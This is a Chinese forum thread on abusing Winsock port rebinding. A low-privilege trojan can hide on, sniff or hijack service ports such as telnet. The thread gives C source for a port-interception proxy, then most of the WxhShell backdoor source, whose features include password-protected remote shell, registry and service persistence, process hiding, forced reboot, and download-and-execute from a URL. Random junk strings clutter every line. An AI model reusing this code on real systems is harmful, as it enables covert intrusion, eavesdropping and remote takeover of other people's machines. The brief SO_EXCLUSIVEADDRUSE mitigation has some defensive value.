社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15021阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "NgxkbDEbG  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2'_:S@  
Fb7#<h  
  saddr.sin_family = AF_INET; t: #6sF  
H2um|6>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); O9EKRt  
0TGLM#{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); L5#P[cHzz  
RAG3o-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \RvvHty-V  
4g : >[q  
  这意味着什么?意味着可以进行如下的攻击: 6ek;8dL  
u>TZt]h8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4$*%gL;f^  
+m8!U=Zi  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) vgUb{D  
yto,>Utzg  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [k6nW:C  
,Fi>p0bz  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  N 5i+3&  
P@,nA41,j  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z\HX~*,6  
/c2w/+ _  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 b@S Cn9  
#B:hPZM1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 tQ H+)*  
iVd.f A  
  #include DwrO JIy  
  #include (;q\}u  
  #include ;_^fk&+  
  #include    xf b]b2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   x\J#]d.  
  int main() #Sa27$&.>  
  { ,:??P1  
  WORD wVersionRequested; 2n `S5(V  
  DWORD ret; VY)9|JJCO  
  WSADATA wsaData; h=(DX5:A  
  BOOL val; IdXZoY  
  SOCKADDR_IN saddr; ppFe-wY  
  SOCKADDR_IN scaddr; tUgEeh6  
  int err; cIp D~0\  
  SOCKET s; /r-aPJX  
  SOCKET sc; `&-Mi[1  
  int caddsize; 8Goh4T H  
  HANDLE mt; s%2v3eb  
  DWORD tid;   z,VD=Hnz  
  wVersionRequested = MAKEWORD( 2, 2 ); jK' N((Hz  
  err = WSAStartup( wVersionRequested, &wsaData ); ^D<r  
  if ( err != 0 ) { Ur5FC r  
  printf("error!WSAStartup failed!\n"); "m^' &L  
  return -1; ^`G`phd$  
  } m+#iR}*1L  
  saddr.sin_family = AF_INET; 1P(|[W1  
   TOoQZTI  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 r\blyWi  
k%E2n:|*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $2u 'N:o  
  saddr.sin_port = htons(23); WdnIp!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :"l-KQ0  
  { %zSuK8kxV  
  printf("error!socket failed!\n"); fwBRWr9  
  return -1; .VkbYK  
  } Dgx8\~(E'  
  val = TRUE; 'w14sr%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1*dRK6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Bf$_XG3  
  { #?XQ7Im  
  printf("error!setsockopt failed!\n"); l2&`J_"  
  return -1; (XXheC  
  } P9S2?Q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |QMhMGjV  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hAm`NJMSO  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 I8QjKI (  
-CRra EXf8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) x ul]m*Z  
  { ixV0|P8,c  
  ret=GetLastError(); r YF #^  
  printf("error!bind failed!\n"); i,|0@Vy  
  return -1; OQ,NOiNkap  
  } ?_v{| YI=  
  listen(s,2); aDehqP6vf  
  while(1) @c ~)W8  
  {  y2+p1  
  caddsize = sizeof(scaddr); ^mb[j`CCt  
  //接受连接请求 A.D{.a  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =+x yI  
  if(sc!=INVALID_SOCKET) |,aG%MTL  
  { 1]}#)-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Y2O"]phi@  
  if(mt==NULL) 8HZs>l  
  { lhi_6&&[8  
  printf("Thread Creat Failed!\n"); ;r6jx"i  
  break; t w(JZDc  
  } 9{$'S 4  
  } Vp<seO;7o  
  CloseHandle(mt); JICawj:I  
  } meCC?YAB  
  closesocket(s); fd#j Y}  
  WSACleanup(); e4G4GZH8  
  return 0; '*Almv{  
  }   Q43|U4a  
  DWORD WINAPI ClientThread(LPVOID lpParam) E7Ulnvd  
  { 4]/7 )x?R  
  SOCKET ss = (SOCKET)lpParam; p2N:;lXM  
  SOCKET sc; Ed:eGm }  
  unsigned char buf[4096]; 0x9x@gF  
  SOCKADDR_IN saddr; ?\#N9 +{W  
  long num; <BW[1h1k5_  
  DWORD val; ncSFj.}w]  
  DWORD ret; k2xHH$+{#=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7y`}PMn  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9<vWcq*4  
  saddr.sin_family = AF_INET; (4@lKKiU%H  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5o/&T"]@  
  saddr.sin_port = htons(23); RID]pek  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fl;s9:<  
  { jA(>sz  
  printf("error!socket failed!\n"); kvh&d|  
  return -1; .c#y%S  
  } )~V4+*<  
  val = 100; X{^}\,cVtG  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TyKWy0x-3  
  { 720)VzT  
  ret = GetLastError(); Pub0IIs  
  return -1; 7t?*  
  } (n1Bh~R^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0I{gJSK.,  
  { xP=/N!,#  
  ret = GetLastError(); lKkN_ (/j  
  return -1; $O{duJU  
  } s!9dQ.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) kqb0>rYa   
  { O8] 'o*<]  
  printf("error!socket connect failed!\n"); OgcHS?  
  closesocket(sc); \j2;4O?`  
  closesocket(ss); *0_yT$  
  return -1; zyg:nKQW  
  } [DHoGy,P  
  while(1) p7ir*r/2  
  { c>1RP5vx  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ZvGgmLN  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \]9.zlB  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !m(4F(!"h  
  num = recv(ss,buf,4096,0); ]hud4i~  
  if(num>0) `p'Q7m2y/b  
  send(sc,buf,num,0); 7n o5b] \  
  else if(num==0) 3@n>*7/E  
  break; +m}Pmi$  
  num = recv(sc,buf,4096,0); __@zTSVb  
  if(num>0) < pTTo  
  send(ss,buf,num,0); 3jogD  
  else if(num==0) E1&b#TE 6O  
  break; z5*=MlZ)R.  
  } jEz+1Nl)  
  closesocket(ss); 6r"u$i` o  
  closesocket(sc); nJ?^?M'F%  
  return 0 ; AOp/d(vx5i  
  } 0e[d=)XG  
=o p%8NJf  
qi^!GA'5j  
========================================================== #,(sAj  
]l~V&#i_c  
下边附上一个代码,,WXhSHELL Sb".]>^  
!TAp+b  
========================================================== as+GbstN  
XI Jlc~2  
#include "stdafx.h" /Jf~25F  
,&HR(jTo  
#include <stdio.h> %g]vxm5?  
#include <string.h> zu2HH<E  
#include <windows.h> uE=$p)  
#include <winsock2.h> m6 s7F/  
#include <winsvc.h> xw<OLWW  
#include <urlmon.h> W/=|/-\]/  
f-2$ L  
#pragma comment (lib, "Ws2_32.lib") E^hHH?w+  
#pragma comment (lib, "urlmon.lib") k#}g,0@  
HftxS  
#define MAX_USER   100 // 最大客户端连接数 !5}l&7:(MN  
#define BUF_SOCK   200 // sock buffer ?@6/Alk  
#define KEY_BUFF   255 // 输入 buffer |DF9cd^  
qP*}.Sqk7  
#define REBOOT     0   // 重启 utlpY1#q/  
#define SHUTDOWN   1   // 关机 v=I|O%  
R)Mt(gFZT_  
#define DEF_PORT   5000 // 监听端口 Lh$dzHq  
~Z$bf>[(R7  
#define REG_LEN     16   // 注册表键长度 rSP_:}  
#define SVC_LEN     80   // NT服务名长度 iP3Z  
02AI%OOH  
// 从dll定义API :RxHw;!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >cL{Ya}Rz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); DZ ^1s~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qIwV q!=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fR-C0"c  
W</n=D<,I  
// wxhshell配置信息 >i,iOx|E-  
struct WSCFG { %ICglF R  
  int ws_port;         // 监听端口 )<4_:  
  char ws_passstr[REG_LEN]; // 口令 f!t69nd%L  
  int ws_autoins;       // 安装标记, 1=yes 0=no \ u+xa{b|  
  char ws_regname[REG_LEN]; // 注册表键名 /"qcl7F  
  char ws_svcname[REG_LEN]; // 服务名 V_U'P>_I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tGc ya0RL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ! o, 5h|\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]r]k-GZ$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (y4#.vZh:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2_QN&o ~h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d6 _C"r  
Bz2'=~J  
}; %1McD{  
w8~K/>!f  
// default Wxhshell configuration j%Y\A~DV  
struct WSCFG wscfg={DEF_PORT, ;SKh   
    "xuhuanlingzhe", s]B"qF A  
    1, #6S75{rnW"  
    "Wxhshell", o5Rz%k#h  
    "Wxhshell", JbQZ!+  
            "WxhShell Service", ^%oUmwP<$  
    "Wrsky Windows CmdShell Service", 5iFV;W  
    "Please Input Your Password: ", VFD%h }  
  1, KT*:F(4`  
  "http://www.wrsky.com/wxhshell.exe", X}4}&  
  "Wxhshell.exe" nw'-`*'rj  
    }; ~bA,GfSn0  
_.18z+  
// 消息定义模块 WN a0,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ek-!b!iI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T*q"N?/4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,i`h x, Rg  
char *msg_ws_ext="\n\rExit."; W,hWOO  
char *msg_ws_end="\n\rQuit."; vrl[BPI  
char *msg_ws_boot="\n\rReboot..."; *8g<R  
char *msg_ws_poff="\n\rShutdown..."; ]Nk!4"  
char *msg_ws_down="\n\rSave to "; X.|Ygx  
>X Qv?5  
char *msg_ws_err="\n\rErr!"; JSMPyj  
char *msg_ws_ok="\n\rOK!"; ZKbDp~  
!)OB@F%U  
char ExeFile[MAX_PATH]; U :9=3A2$x  
int nUser = 0; Aa(<L$e!`  
HANDLE handles[MAX_USER]; * crw^e  
int OsIsNt; ')PVGV(D+  
!r&Bn6*  
SERVICE_STATUS       serviceStatus; ij)Cm]4(2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7t(Y;4<2  
: 1)}Epo,  
// 函数声明 }#N]0I)JI  
int Install(void); o$bUY7_  
int Uninstall(void); X}JWf<=q  
int DownloadFile(char *sURL, SOCKET wsh); 9k2,3It  
int Boot(int flag); Q^h5">P  
void HideProc(void); mb\t/p  
int GetOsVer(void); XdIah<F2  
int Wxhshell(SOCKET wsl); JAb$M{t  
void TalkWithClient(void *cs); >2-F2E,  
int CmdShell(SOCKET sock); Z^6#4Q]YC  
int StartFromService(void); eO4)|tW  
int StartWxhshell(LPSTR lpCmdLine); !ng\` |8?  
wa3F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |+EKF.K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L~0& Q  
a?<?5   
// 数据结构和表定义 |_pl;&;:  
SERVICE_TABLE_ENTRY DispatchTable[] = ;~tsF.=  
{ ~w.2 -D  
{wscfg.ws_svcname, NTServiceMain}, pzEABA   
{NULL, NULL} r\mPIr|  
}; j 2}v}  
(wL3 +  
// 自我安装 X5E '*W  
int Install(void) D9,! %7i  
{ &:vsc Ol  
  char svExeFile[MAX_PATH]; )A83A<~  
  HKEY key; #MM &BC  
  strcpy(svExeFile,ExeFile); IRB& j%LA  
D!l8l49hLu  
// 如果是win9x系统,修改注册表设为自启动 g,?\~8-c  
if(!OsIsNt) { *wUdC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @l,{x|00  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _g6wQdxT  
  RegCloseKey(key); |zMqJ.qu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jU$Y>S>l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0 BC`iql5  
  RegCloseKey(key); zzf7S%1I  
  return 0; NWISS  
    } 6&],WGz  
  } 9s $PrF  
} KM5 JZZP  
else { ec'tFL#u{  
9.8,q  
// 如果是NT以上系统,安装为系统服务 )fCMITq.|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f'_ S1\  
if (schSCManager!=0) F$ {4X /9n  
{ SI_?~Pf3k  
  SC_HANDLE schService = CreateService 7\/u&  
  ( I@PJl  
  schSCManager, Jk*QcEE=  
  wscfg.ws_svcname, Ao*FcrXN  
  wscfg.ws_svcdisp, Q&wYc{TUbm  
  SERVICE_ALL_ACCESS, + U5U.f%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h ]}`@M"  
  SERVICE_AUTO_START, D=9}|b/  
  SERVICE_ERROR_NORMAL, V_M@g;<o  
  svExeFile, {,v: GMsm  
  NULL, C9Wojo.  
  NULL, @W)/\AZ3  
  NULL, OX)BP.h#  
  NULL, !rHx}n{rw  
  NULL @U7Dunu*f  
  ); +E#PJ_H=F8  
  if (schService!=0) Vj7Hgc-,  
  { ohTd'+Lm  
  CloseServiceHandle(schService); ;&`:|Hf*  
  CloseServiceHandle(schSCManager); 4 m $sJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u9@b <  
  strcat(svExeFile,wscfg.ws_svcname); P'FKk<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -7 L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !&0a<~ Wi  
  RegCloseKey(key); )8]3kQffJ=  
  return 0; 4(sttd_  
    } ;(`e^IVf  
  } ~9i qD  
  CloseServiceHandle(schSCManager); 8q*";>*  
} <|Iyt[s  
} LH.%\TMN$  
i0i`k^bA  
return 1; w=$'Lt!  
} JP_kQ  
N4+g("  
// 自我卸载 L`pY27 |  
int Uninstall(void) UhA_1A'B  
{ TRCI\  
  HKEY key; HYFN?~G  
#}j]XWy  
if(!OsIsNt) { Avd *~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H CuK  
  RegDeleteValue(key,wscfg.ws_regname); 2@5A&b  
  RegCloseKey(key); N=<=dp(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w?/f Zx  
  RegDeleteValue(key,wscfg.ws_regname); omT(3)TP  
  RegCloseKey(key); ze$Y=<S  
  return 0; e9}8RHy1$  
  } F b2p(.  
} XP4jZCt9  
} U>1b9G"_  
else { mR!rn^<l  
l"?]BC~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E6JV}`hSk  
if (schSCManager!=0) L3g9b53\  
{ V:QdQ;c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?AT(S  
  if (schService!=0) A_]D~HH  
  { y* rY~U#3  
  if(DeleteService(schService)!=0) { TL]bY'%  
  CloseServiceHandle(schService); Bf+^O)Ns^  
  CloseServiceHandle(schSCManager); YjL t&D:IZ  
  return 0; ,.q8Xf  
  } [Q=4P*G}X  
  CloseServiceHandle(schService); M.t@@wq  
  } z2ds8-z  
  CloseServiceHandle(schSCManager); pbFYiu+  
} 2\ ,e  
} CY5w$E  
wU.'_SBfB  
return 1; xLZMpP5c  
} ` )]lUvR  
tz3]le|ml  
// 从指定url下载文件 QWQ!Ak  
int DownloadFile(char *sURL, SOCKET wsh) %L28$c3p  
{ u5/t2}^T  
  HRESULT hr; G6<HO7\  
char seps[]= "/"; D|"sE>  
char *token; @N]5&4NL  
char *file; V3 qT<}y|  
char myURL[MAX_PATH]; #*\Ry/9Q  
char myFILE[MAX_PATH]; 4u7Cm  
*qbRP"#[$  
strcpy(myURL,sURL); { q})kO  
  token=strtok(myURL,seps); y3Y2 QC(  
  while(token!=NULL) )'=V!H#U*  
  { _J` |<}?t;  
    file=token; > Z]P]e  
  token=strtok(NULL,seps); SC]6F*  
  } 7 s7}?l9  
,R8n,az  
GetCurrentDirectory(MAX_PATH,myFILE); C1n? ?Y[  
strcat(myFILE, "\\"); ZHb7+  
strcat(myFILE, file); F@Pem  
  send(wsh,myFILE,strlen(myFILE),0); n}42'9p  
send(wsh,"...",3,0); J&'>IA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \I:UC %  
  if(hr==S_OK) #0jSZg^,"  
return 0; M&eQ=vew.  
else *1i?6$[ "  
return 1; 2NyUmJ42  
EQ6l:[  
} icU"Vyu  
_ \_3s  
// 系统电源模块 f>|9 l  
int Boot(int flag) j`{fB}  
{ LPb]mC6#  
  HANDLE hToken; #&}%70R)  
  TOKEN_PRIVILEGES tkp; >s44  
D\n>*x  
  if(OsIsNt) { CgN]dx* `  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5 Xk~,%-C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mf+K{y,L  
    tkp.PrivilegeCount = 1; `CPZPp,l6`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s z;=mMr/Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); md.*  
if(flag==REBOOT) { hT\p)w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zwKg  
  return 0;  ~WzMK  
}  fF\*v  
else { )J{.Cx<E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GU2]/\W*a  
  return 0; owP6dtd)  
} ^ b=5 6~[  
  } EPQ&?[6  
  else { M4R%Gr,La  
if(flag==REBOOT) { M0Lon/%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b(g_.1[  
  return 0; Ar\IZ_Q  
} YCtIeq%  
else { `MN&(!&C*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .%|OGl ?  
  return 0; { +i;e]c  
} ^H f+du  
} =c :lS&B  
>l y&+3S  
return 1; !a.3OpQ  
} wa9'2a1?  
Ej-=y2j{g  
// win9x进程隐藏模块 ;JMOsn}8  
void HideProc(void) /%2:+w  
{ ?,.HA@T%  
\Mobq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ---Ks0\V  
  if ( hKernel != NULL ) aa%Yk"V @  
  { V5hp Y ]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 95_[r$C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 46QYXmNQ}  
    FreeLibrary(hKernel); J[I"/sdk-  
  } ,ivWVsN*]  
*?EjYI  
return; fx8y`8}_  
} ZE5-i@1  
CD XB&%Sr  
// 获取操作系统版本 -`<6=[QUO  
int GetOsVer(void) 8Cf^$  
{ okd  ``vG  
  OSVERSIONINFO winfo; < P?3GT/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EKeBTb  
  GetVersionEx(&winfo); )Mm;9UA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sa\|"IkD2  
  return 1; Enq6K1@%G  
  else Gnuo-8lb  
  return 0; ,U} 5  
} @vVRF Z  
oyi7YRvwd  
// 客户端句柄模块 #n6FQ$l8m  
int Wxhshell(SOCKET wsl) *y":@T  
{ %[+a[/  
  SOCKET wsh; %fex uy4  
  struct sockaddr_in client; wN/*|?`Z  
  DWORD myID; G}Qk!r  
vV$hGS(f~  
  while(nUser<MAX_USER) p*(U*8Q  
{ nN(D7wk  
  int nSize=sizeof(client); 6!gtve_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -Z[R S{#+T  
  if(wsh==INVALID_SOCKET) return 1; x"zjN'|  
Z7m GC`>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .(gT+5[  
if(handles[nUser]==0) +=,4@I%  
  closesocket(wsh); B.CH9M  
else YUP%K!k  
  nUser++; i-Ge *?  
  } (50[,:#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "4Wp>B  
A*-]J=:E {  
  return 0; ILu0J`;}  
} I8pv:>EhC  
.f?qUg  
// 关闭 socket L*SSv wSL  
void CloseIt(SOCKET wsh) vUodp#s  
{ 5kRwSOG%'  
closesocket(wsh); YokZar2a0  
nUser--; }]Gi@Nh|o  
ExitThread(0); >yPFL'  
} =2vMw]  
/eU1(oo&`5  
// 客户端请求句柄 *'AS^2'  
void TalkWithClient(void *cs) ]iE.fQ?;J  
{ /I`bh  
[EW$7 se~  
  SOCKET wsh=(SOCKET)cs; 5* o\z&*L  
  char pwd[SVC_LEN]; yccuTQvz  
  char cmd[KEY_BUFF]; 8-y: ==C  
char chr[1]; u]>>B>KOJ7  
int i,j; mv9E{m  
8R??J>h5\  
  while (nUser < MAX_USER) { fW4cHB 9|  
qk+{S[2j  
if(wscfg.ws_passstr) { JtrDZ;^@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TJ%]{%F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fEv<W  
  //ZeroMemory(pwd,KEY_BUFF); 7gdU9c/q,  
      i=0; =p&'_a^$  
  while(i<SVC_LEN) { 4 HJZ^bq9|  
*?R\[59  
  // 设置超时 l:5CM[mZ  
  fd_set FdRead; _w5~/PbWt  
  struct timeval TimeOut; kT } '"  
  FD_ZERO(&FdRead); mB|mt+  
  FD_SET(wsh,&FdRead); >fZ/09&3  
  TimeOut.tv_sec=8; w;SH>Ax:  
  TimeOut.tv_usec=0; ?3"D| cS1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;MRC~F=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :C:N]6_{SZ  
("J V:u.L+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  1u S>{M  
  pwd=chr[0]; )T};Q:  
  if(chr[0]==0xd || chr[0]==0xa) { #Wc #fP  
  pwd=0; ~q_+;W.  
  break; N>nvt.`P  
  } 5q_OuZ/6  
  i++; o"ah\"#el  
    } vb"dX0)<  
@gqs4cg{f  
  // 如果是非法用户,关闭 socket 7U[L\1zS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iZq@W3GL C  
} #!d^3iB2  
a6k(O8Ank3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P7k$^n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `TlUJ]d)  
T;[c<gc/  
while(1) { *"QE1Fum'  
i(f;'fb*  
  ZeroMemory(cmd,KEY_BUFF); `jQ}^wEgu  
&<P^Tvqq&  
      // 自动支持客户端 telnet标准   $-9@/%Y  
  j=0; S. F=$z.%  
  while(j<KEY_BUFF) { (jE:Q2"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); whm tEY  
  cmd[j]=chr[0]; -^jLU FC  
  if(chr[0]==0xa || chr[0]==0xd) { 1DlcO>#@  
  cmd[j]=0; V-ouIqnI  
  break; ^.1VhTB  
  } !>2\OSp!  
  j++; F%+rOT<5  
    } AB &wn>q  
7(g&z%  
  // 下载文件 |UDD/e  
  if(strstr(cmd,"http://")) { X>GY*XU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5<?c_l9X^  
  if(DownloadFile(cmd,wsh)) AUjTcu>i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T!xy^n]}  
  else 3&nc'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rUpAiZfz >  
  } _yB9/F  
  else { BvW gH.OX  
>fj$ wOq  
    switch(cmd[0]) { &|\}\+0Z  
  Vv)E41  
  // 帮助 i[\u-TF  
  case '?': { S@G{|.)2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U8$dG)PhA  
    break; k mr 4cU5  
  } Cbg#Yz~/  
  // 安装 B{UoNm@  
  case 'i': { sAN:C{  
    if(Install()) v?TJ!o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ww tQ>'R"  
    else XhD fI &  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MirBJL  
    break; 8Gg/M%wq9U  
    } ZUJOBjb` K  
  // 卸载 c2mt<DtWW  
  case 'r': { Ru')X{]25  
    if(Uninstall()) ,Ve@=<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <$6'Mzf  
    else {BCj VmY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HeifFJn  
    break; Y9L6W+=T  
    } yW(+?7U  
  // 显示 wxhshell 所在路径 LLY;IUK!R  
  case 'p': { eL?si!ZL^  
    char svExeFile[MAX_PATH]; yIf}b  
    strcpy(svExeFile,"\n\r"); HgATH  
      strcat(svExeFile,ExeFile); ]bE?n.NwZ  
        send(wsh,svExeFile,strlen(svExeFile),0); !gew;Jz  
    break; N&h!14]{ Z  
    } 6Oba}`)q9  
  // 重启 1`_)%Y[ZJ  
  case 'b': { dsZ ( D:)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sK/"  
    if(Boot(REBOOT)) i6:yNb ='  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DF|lUO]:  
    else { "EhO )lR  
    closesocket(wsh); 9x{prCr  
    ExitThread(0); hsO.521g  
    } ;L%~c4`l~m  
    break; vGHYB1=~  
